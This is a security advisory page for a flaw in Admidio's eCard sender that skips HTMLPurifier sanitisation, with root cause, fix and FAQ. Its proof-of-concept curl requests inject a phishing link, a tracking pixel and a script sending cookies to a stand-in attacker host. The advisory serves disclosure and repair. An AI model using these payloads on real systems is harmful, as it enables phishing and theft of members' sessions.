CVE-2026-32757: Admidio: HTMLPurifier Bypass in eCard Message Allows HTML Email Injection

Published Mar 16, 2026
·
Updated

Summary

The eCard send handler in Admidio uses the raw $POST['ecardmessage'] value instead of the HTMLPurifier-sanitized $formValues['ecardmessage'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecardmessage field during form validation.

Details

Root Cause

File: D:\bugcrowd\admidio\repo\modules\photos\ecardsend.php

At line 38, the raw POST value is captured BEFORE form validation runs:

php $postMessage = $POST['ecardmessage']; // Line 38: RAW value

At line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecardmessage is registered as an editor field):

php $formValues = $photosEcardSendForm->validate($POST); // Line 61: sanitized

The sanitized value is stored in $formValues['ecardmessage'], but this value is never used. Instead, the raw $postMessage is passed to parseEcardTemplate() at lines 159 and 201:

php $ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 159 $ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 201

Template Injection

File: D:\bugcrowd\admidio\repo\src\Photos\ValueObject\ECard.php, line 144

The parseEcardTemplate() method places the message directly into the HTML template without any encoding:

php $pregRepArray['/<%ecardmessage%>/'] = $ecardMessage; // Line 144: no encoding

Compare this to the recipient fields which ARE properly encoded:

php $pregRepArray['/<%ecardreciepientemail%>/'] = SecurityUtils::encodeHTML($recipientEmail); // Line 135 $pregRepArray['/<%ecardreciepientname%>/'] = SecurityUtils::encodeHTML($recipientName); // Line 136

Inconsistency with Preview

File: D:\bugcrowd\admidio\repo\modules\photos\ecardpreview.php, line 56

The preview correctly uses the sanitized value:

php $smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecardmessage'], ...));

This means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.

Delivery Mechanism

The unsanitized HTML is delivered via two channels:

1. HTML Email (primary vector): At line 218 of ECard.php, the parsed template is set as the email body via $email->setText($ecardHtmlData) followed by $email->setHtmlMail(). The malicious HTML is rendered by the recipient's email client.

2. Database Storage: At line 214 of ecardsend.php, $message->addContent($ecardHtmlData) stores the raw HTML in the messages table. However, MessageContent::getValue() applies SecurityUtils::encodeHTML() on output, mitigating the stored XSS in the web interface.

PoC

Prerequisites: Logged-in user with access to the photo module and eCard feature enabled.

Step 1: Send an eCard with injected HTML

curl -X POST "https://TARGET/admprogram/modules/photos/ecardsend.php" \ -H "Cookie: ADMIDIOSESSIONID=<session>" \ -d "admcsrftoken=<csrftoken>" \ -d "ecardtemplate=<validtemplate.tpl>" \ -d "photouuid=<validphotouuid>" \ -d "photonr=1" \ -d "ecardmessage=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>" \ -d "ecardrecipients[]=<targetuseruuid>"

The HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.

Step 2: Escalated payload with script injection

curl -X POST "https://TARGET/admprogram/modules/photos/ecardsend.php" \ -H "Cookie: ADMIDIOSESSIONID=<session>" \ -d "admcsrftoken=<csrftoken>" \ -d "ecardtemplate=<validtemplate.tpl>" \ -d "photouuid=<validphotouuid>" \ -d "photonr=1" \ -d "ecardmessage=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>" \ -d "ecardrecipients[]=<targetuseruuid>"

Most modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.

Impact

- Phishing via Trusted Sender: The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate. - HTML Email Injection: Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role. - Scope Change: The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio. - Bypasses Defense-in-Depth: The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.

Recommended Fix

In ecardsend.php, use the sanitized $formValues['ecardmessage'] instead of the raw $POST['ecardmessage']:

php // Line 38: Remove this line // $postMessage = $POST['ecardmessage'];

// After line 61 (form validation), use the sanitized value: $formValues = $photosEcardSendForm->validate($POST); $postMessage = $formValues['ecardmessage'];

Additionally, in ECard::parseEcardTemplate(), apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:

php // The message has already been sanitized by HTMLPurifier, // so it can safely contain allowed HTML tags $pregRepArray['/<%ecardmessage%>/'] = $ecardMessage;

Other sources

Admidio is an open-source user management solution. In versions 5.0.6 and below, the eCard send handler uses a raw $POST['ecardmessage'] value instead of the HTMLPurifier-sanitized $formValues['ecardmessage'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecardmessage field during form validation. An attack can result in any member or role receiving phishing content that appears legitimate, crossing from the web application into recipients' email clients. This issue has been fixed in version 5.0.7.

MITRE

Affected Software

2 affected componentsFixes available
composer/admidio/admidio<=5.0.6
5.0.7
Admidio Admidio<5.0.7

Event History

Mar 16, 2026
Advisory Published
via GitHub·09:18 PM
Data Sourced
via GitHub·09:18 PM
DescriptionSeverityWeaknessAffected Software
Mar 19, 2026
CVE Published
via MITRE·11:12 PM
Data Sourced
via MITRE·11:12 PM
DescriptionSeverityWeakness
Mar 20, 2026
Data Sourced
via NVD·12:16 AM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-32757?

CVE-2026-32757 has a severity rating that indicates it could allow for Cross-Site Scripting (XSS) vulnerabilities due to improper handling of user input.

2

How do I fix CVE-2026-32757?

To fix CVE-2026-32757, upgrade to Admidio version 5.0.7 or later.

3

Who is affected by CVE-2026-32757?

CVE-2026-32757 affects users of Admidio versions up to and including 5.0.6.

4

What type of attack is possible with CVE-2026-32757?

CVE-2026-32757 allows authenticated attackers to inject arbitrary HTML and JavaScript into greeting card HTML.

5

In which component of Admidio is CVE-2026-32757 found?

CVE-2026-32757 is found in the eCard send handler of Admidio.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203